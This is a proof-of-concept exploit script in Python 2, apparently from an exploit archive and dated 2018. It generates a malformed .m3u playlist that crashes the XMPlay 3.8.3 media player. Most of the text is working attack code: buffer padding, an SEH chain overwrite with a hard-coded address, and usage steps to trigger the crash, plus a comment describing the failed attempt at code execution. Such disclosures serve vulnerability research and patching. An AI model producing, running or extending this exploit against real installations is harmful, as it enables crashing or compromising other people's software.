XMPlay 3.8.3 Denial Of Service

`# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)  
# Date: 2018-11-18  
# Exploit Author: s7acktrac3  
# Vendor Homepage: https://www.xmplay.com/  
# Software Link: https://support.xmplay.com/files_view.php?file_id=676  
# Version: 3.8.3 (latest)  
# Tested on: Windows XP/7/8  
# CVE : N/A  
#  
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or  
# File Menu-> select winamp.m3u and Crash!  
# -*- coding: utf-8 -*-  
#  
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH  
# but the address get mangled & unreconizable, for this reason could not turn into  
# code execution.  
  
import struct  
from struct import pack  
  
file_data = "#EXTM3U\n\r"  
file_data += "#EXTINF:200,Sleep Away\n\r"  
file_data += "http://test."  
  
max_size = 3000 - 1  
nseh_offset = 656  
  
seh_overwrite = pack("<L", 0x00402450)  
  
payload = "A" * nseh_offset # padding for nseh  
payload += "BBBB" # nseh  
payload += seh_overwrite # seh  
  
#padding for rest of payload - pipe "|" is needed somehow to force crash   
payload += "D" *(max_size - len(payload)) + "|"  
print "[+] Creating .m3u file with payload size: "+ str(len(payload))  
  
exploit = file_data + payload  
  
file = open('xmplay.m3u','w');  
file.write(exploit);  
file.close();  
  
print "[+] Done creating the file"  
  
`